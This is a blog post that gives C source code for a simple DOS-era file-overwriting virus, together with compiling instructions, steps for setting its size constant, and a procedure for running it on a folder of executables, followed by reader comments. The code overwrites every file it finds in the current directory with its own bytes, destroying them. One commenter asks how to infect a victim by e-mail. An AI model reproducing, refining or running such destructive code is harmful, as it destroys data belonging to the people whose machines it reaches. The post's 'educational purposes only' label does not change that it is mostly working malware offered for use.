Home » C SOURCE CODES, VIRUS CREATION

How to Create a Computer Virus?

Submitted by Srikanth on Friday, 7 December 200710 Comments

This program is an example of how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.
 

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(”*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(”Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(”DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(”TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

COMPILING METHOD:

BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes

2. Change the value of X in source code to this length in bytes

3. Recompile it.The new EXE file is ready to infect

HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4.All the infected files will be ready to reinfect

That’s it

WARNING: FOR EDUCATIONAL PURPOSES ONLY

Visitors who read this post, also read:

  1. Creating a Virus to restart the Computer at every Startup

  2. Creating a Virus to Block Websites

  3. File Embedder Project in C

  4. Program to Print it’s Own Source Code

  5. A Self Destructing Program in C


10 Comments »

  • Anonymous said:

    This is the same as the one posted at http://vx.netlux.org/lib/vbw06.html and for obvious reasons it wont compile, there are minute erros to prevent little script kiddies from using it :)

  • rahul said:

    good

  • Veronika said:

    Hi,
    Let me give you a question.
    I can infect a victim with a virus sent by e-mail without the recipient opens the attachment?
    Thank you!
    Veronika.

  • himanshu said:

    hey shrikant,don’t laugh if i ask this question. I don’t know a word about C. Is it a software ?? or what??….. all that u wrote in this post have to be entered in the software??? or have i to learn C to know all that?

  • Srikanth (author) said:

    @ Himanshu

    C is a programming language.You need to learn this programming language to understand the codes that I have written on my site!

  • SATISH (director of sat multimedia) said:

    Nice………..& thaks

  • bhargav said:

    awe some keep it up n create more.

  • Zals said:

    Hey Sriki,i m much appreciated with ur work,i compiled the above code and gettin 4 errors as below:
    1- FILE *virus,*host ;(this has got error)
    2- undefined symbol VIRUS(i think thats because of the first error)
    if i get a solution for the first one i think i can compile it without error…i hope u ll help me..ty bhayya

  • Zals said:

    oh ya ..i forgot to tel u one thing,,,i m using turbo c++ :)…

  • Slim0123 said:

    Hey you are not at all infecting other files, you are just copying your files with the names of the files present in the directory…..
    But in case of infection, the virus code resides with the original content, if your virus is infecting, for example, the notepad.exe file, then it should retain its obvious functions and with that the virus content too, I mean than when we run infected notepad.exe, then it should open up the notepad and execute the virus code tooo, not just the virus code, otherwise it wont survive longer……

Leave your response!

Add your comment below, or trackback from your own site. You can also subscribe to these comments via RSS.

Be nice. Keep it clean. Stay on topic. No spam.

You can use these tags:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

This is a Gravatar-enabled weblog. To get your own globally-recognized-avatar, please register at Gravatar.